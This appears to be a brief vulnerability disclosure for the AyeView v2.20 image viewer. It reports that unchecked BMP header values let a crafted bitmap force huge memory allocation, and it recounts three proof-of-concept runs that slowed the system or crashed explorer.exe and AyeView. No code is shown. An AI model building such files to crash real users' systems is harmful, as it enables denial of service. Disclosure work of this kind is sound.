Short Desc:
AyeView v2.20 software does not properly parse values in bmp file header.
In fact it does it good but it does not check if these values are "reasonable".
Therefore we can create a special bitmap, that will slow down or even
suspend the entire system. I have written a PoC that enforce AyeView
to allocate large amounts of memory. Short history:

First start of exploit      ->  the system really slowed down
Second start(another values)->  I got a message that "the amount of virtual memory
                                is too low", explorer.exe crashed
Third start(another values) ->  AyeView crashed
